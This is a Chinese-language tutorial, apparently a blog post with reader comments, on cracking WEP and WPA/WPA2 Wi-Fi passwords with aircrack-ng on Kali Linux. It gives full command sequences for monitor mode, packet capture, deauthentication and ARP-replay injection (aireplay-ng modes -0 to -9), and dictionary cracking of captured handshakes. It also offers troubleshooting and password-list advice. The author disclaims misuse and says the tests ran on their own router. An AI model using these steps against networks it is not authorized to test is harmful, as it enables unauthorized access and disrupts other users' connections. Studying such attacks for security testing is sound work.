1.首先請不要使用此方法去搞破壞,去蹭Wi-Fi,因為不裝逼地說,我認為技術本身的價值很大,尤其是在學習這個技術的過程中解決遇到的問題,當經過重重困難最后終於成功之后的喜悅又怎么能拿去蹭網呢。我在此過程中都是用自己路由做的測試,相信大家也可以從文中看到,所以請不要用技術做一些不好的事情。
2.歡迎使用Kali Linux 的朋友互相交流,大家共同進步學習。
索引: 1.工具 2.需要了解的知識 3.破解WEP 4.破解WPA/WPA2 5.其他 6.Q&A 7.參考文章
1.用到的工具:
Airodump-ng 獲取 AP 的 MAC 信息,連接信息以及是否握手成功。
Aircrack-ng 支持基於 802.11 協議的 WEP 和 WPA/WPA2-PSK 密碼破解
Aireplay-ng 強行向目標 AP 發送數據包
Airmon-ng 開啟無線網卡的監視模式
Wordlists.txt 字典包
2.需要了解的知識:
AP(Access Point): 網絡接入點,是一種連接無線或有線網絡的設備。就是我們俗稱的路由器。
MAC(Media Access Control Address): 相當於網卡的身份證,MAC 地址本身是不能修改,但是可以通過偽造MAC 地址欺騙AP。
WEP(Wireless Encryption Protocol): 無線加密協議。很早的一種加密協議,容易破解。
WPA/WPA2(Wi-FiProtected Access): 基於WEP更安全的加密系統。
Handshake:握手。我的理解相當於三次握手。
IV(Initialization Vector)s:初始化向量。
3.破解 WEP 加密的 Wi-Fi 流程(現在基本沒人用WEP,只做步驟演示):
3.1 iwconfig #確認網卡信息。

表示設備WLAN0待命並且當前模式為被管理(Managed)。
3.2 airmon-ng start wlan0 #激活網卡至監視模式。

會發現不能正常開啟,有5 個進程會導致錯誤。
解決方案: (1). ifconfig wlan0mon down #先取消wlan0mon網卡模式
iwconfig wlan0mon mode monitor #直接設置wlan0mon為監視模式
ifconfig wlan0mon up #喚醒wlan0mon
(2). 第2 步開始前, airmon-ng check kill
,自動檢查沖突程序並強制關閉。
使用iwconfig
查詢發現 wlan0mon 為監視模式

3.3 airodump-ng wlan0mon #獲取附近AP 信息。

看到名為 TEST-jglimmers 的路由器信息。
這里解釋幾個參數: BSSID(Basic Service SetIdentifier): AP 的MAC 地址。 ESSID(The Extended Service Set Identifier): AP 的名稱。 PWR(Power): 信號強度。 Beacons: AP發出的通告編號,每個接入點(AP)在最低速率(1M)時差不多每秒會發送10個左右的beacon,所以它們能在很遠的地方就被發現。 #Data:當前數據傳輸量。 #/s:過去10秒鍾內每秒捕獲數據分組的數量。 CH(Channel): AP 所在的頻道。 MB: AP 的最大傳輸速度。MB=11 => 802.11b,MB=22 => 802.11b+, MB>22 => 802.11g。后面帶.的表示短封包標頭,處理速度快,更利於破解。 ENC(Encryption): 使用的加密算法體系。 CIPHER: 檢測到的加密算法。#這個和ENC 的區別我確實不明白,有沒有知道的朋友可以告訴我。 AUTH(Authority): 認證方式。 Elapsed: 用過的時間。
記錄 TEST-jglimmers 的 MAC 地址(BSSID),頻道(CH)。
BSSID: 88:25:93:5A:B5:6A CH: 1
3.4 airodump-ng --ivs -w 文件地址 --bssid BSSID wlan0mon #開始抓包, -w(write) 抓到的包保存的位置, --ivs表示只保留IVs 文件。(IVs 在2 中已解釋)

可以看到有一台 MAC 地址為 48:74:6E:2B:70:02 的設備在連接 AP 。
重新開一個終端進行下一步 3.5 aireplay-ng -3 -b BSSID -h 客戶端MAC wlan0mon #理論上來講不用這一步,但是我們可以使用這條命令向 AP 發送大量數據包更快取得數據包。

可以看到在第3.4 步開啟的終端中有大量數據。

3.6 aireplay-ng -0 10 -a 88:25:93:5A:B5:6A -c 68:17:29:26:C3:16 wlan0mon #如果發現像我一樣得到的數據較少可嘗試發送數據包

3.7 aircrack-ng01.ivs #01.ivs 在第 3.4 步的文件夾當中.

等待破解成功。
4.破解 WPA/WPA2 加密的 Wi-Fi 流程
前面的過程和 3.1,3.2,3.3 一樣。使 wlan0mon 處於監視模式下
4.1 airodump-ng --bssid BSSID -c CH -w 文件位置 wlan0mon #-w 是抓的包輸出目錄,注意加-c,不然airodump-ng會每個頻道都會試,一直亂跳,下一步工作不好進行。

這時返回的數據表示連接上此AP 的設備信息。
重新開啟一個終端,進行下一步 4.2 aireplay-ng -0 10 -a BSSID -c STATION wlan0mon #-0 表示DeAuth模式,10表示攻擊次數,-c是第3 步中的得到的STATION,即已連接上的客戶端MAC 地址。

Wi-Fi的連接過程大概有三種,發現(Unauthenticated & Unassociated,未認證,未連接)-認證(Authenticated & Unassociated,認證,未連接)-連接(Authenticated & Associated,認證,連接)。
-0(DeAuth模式): 向客戶端發送數據包,讓客戶端誤以為是AP 發送的數據。 aireplay-ng -0 10 -a BSSID-c 客戶端的 MAC wlan0mon
-1(Fake authentication 模式):在WEP中允許兩種認證類型(開放系統和共享密鑰)連接AP,我們在路由器設置頁面可以看到。當我沒發現4.1 中沒有客戶端連接時候可以使用此攻擊模式。 aireplay-ng -1 0 -e ESSID -a AP的MAC -h 自己的MAC -y sharedkeyxor wlan0mon #0表示發送數據時間,-h 自己的MAC 可用
-2(Interactive packet replay):這個模式需要了解相關知識,可以去Interactivepacket replay 查看。 -3(ARPrequest replay): 可以了解相關知識 ARPrequest replay attack。 ifconfig
查詢,-y sharedkeyxor表示共享密鑰型,如果是開放系統則不用-yaireplay-ng -3 -b AP的MAC -h 我們的MAC wlan0mon #可以加-r CAP.cap 加速進程,這個 CAP.cap 是上一次成功進行 ARP 連接的 cap 包。
或者直接 aireplay-ng -3 -r CAP.cap wlan0mon
-4( KoreKchopchop):這個模式如果成功的話可以不用知道密碼直接解密WEP數據包,但是有些AP 不支持此模式。 aireplay-ng -4 -b AP的MAC -h 我們的MAC wlan0mon
-5(Fragmentation): 碎片模式,也不包含密碼信息,故不討論,可去Fragmentationattack 查看詳情。 -6(CafeLatte):可以直接從客戶端系統中直接獲取WEP密碼,但是必須從客戶端系統中獲取到ARP包,並加以處理后返回給客戶端。 aireplay-ng -6 -b AP的MAC -h 我們的MAC -D TEST-jglimmers #-D表示取消AP 的探測
-7(Hirte): 基於上一個模式的攻擊,也是需要ARP請求。 aireplay-ng -7 -h 我們的MAC -D TEST-jglimmers
-8(WPAMigration):這個模式在我看了官方文檔后感覺非常強大,強大到我想讓大家自己去 WPAMigration Mode 看看。它可以將WPA強制轉換成 WEP 解密,但是僅限思科的 AP(>=IOSReleases 12.2(11)JA),並且同時連接了 WEP 和 WPA 的客戶端。 -9(Injection test): 測試一下網卡是否連接成功,其實我們在3.2 就已經成功,不過還是可以驗證一下。 aireplay-ng-9 -a AP的MAC-i wlan1wlan0mon# wlan1是模擬的一個AP。

這時能看到第1 步中的設備出現了大量數據讀取。
4.3 等待握手。 當經過第2 步發送大量數據包之后只要發現第1 步中右上角出現了 handshake: AP的MAC(BSSID),就可以 CRTL+C 停止。

4.4 aircrack-ng -w Wordlists.txt CAP-01.cap #-w表示字典包的路徑, CAP 表示第 1 步中保存的文件中 -01.cap 文件,因為我們對每個 AP 的嘗試可能不止一次,所以 airodump-ng 會自動在文件名后加類似01,02這樣的數字表示次數,所以記得最后破解的時候輸入正確的 CAP 包名稱。

破解的速度一般顯卡也就這樣,其實我們也可以根據 GPU 加速,但是我曾經經過好幾個月的試驗最后發現我的顯卡不支持 GPU 加速。
4.5 等待 KEY FOUND!

破解成功。
5.其他 推薦一個字典生成工具 Crunch.

6.Q&A
Q: 修改成監視模式(Monitor)失敗。 A: (1). ifconfigwlan0mondown #先取消wlan0mon網卡模式
iwconfigwlan0monmode monitor #直接設置wlan0mon為監視模式
ifconfigwlan0monup #喚醒wlan0mon
(2). 所有工作開始前 airmon-ngcheck kill
自動檢查沖突程序並強制關閉。
Q:破解之后不能正常聯網。 A: ifconfigwlan0mondown
iwconfigwlan0monmode managed
ifconfigwlan0monup
因為之前將 wlan0mon 改成了 監視模式(Monitor),現在要改回來(Managed)。
Q:不能握手。 A:嘗試物理距離靠近路由,重復發送數據包,再等等。
Q:不能破解。 A:換強字典包。
Q:破解速度太慢。 A:嘗試 GPU 加速,或使用 hashcat 加速。
7.參考文章
http://www.aircrack-ng.org/documentation.html
http://www.aircrack-ng.org/doku.php?id=airodump-ng
http://www.aircrack-ng.org/doku.php?id=fake_authentication
啊哈啊哈啊哈哈哈哈
有些疑問,就是握手包和字典是什么關系?要選擇什么樣的字典?以及字典生成器Crunch,是一個什么樣的東西,怎么一個用法?
Jglimmers: @啊哈啊哈啊哈哈哈哈 1.【握手包】是你抓取到路由器和PC之間的數據包,而【字典包】是由密碼組成的,軟件經過對【密碼包】中的密碼進行運算和【握手包】進行匹配,匹配成功則說明當前密碼正確;2.用密碼包就是碰運氣的事情,網上有很多Wi-Fi字典包,針對國人慣用的8個8,6個6,12345678等組成的密碼包,破解出來的幾率比較大;3.Crunch是一個可以根據用戶喜好自定義密碼的軟件,非常好用,官網介紹用法,http://tools.kali.org/password-attacks/crunch,但是是洋文,這里有一篇中文的:http://my.oschina.net/yygh/blog/312824 可以幫助你了解:)
話說我攻擊多次AP都一直沒辦法獲取到握手包= = 請問主要可能是什么方面的原因呢
Jglimmers: @a89446b269a5 根據經驗應該是信號不太好,或者是AP沒有其他設備在使用.可以采取的辦法有:換一下攻擊方式;或者加大發送數據包的量和頻率.多試幾次應該就好:)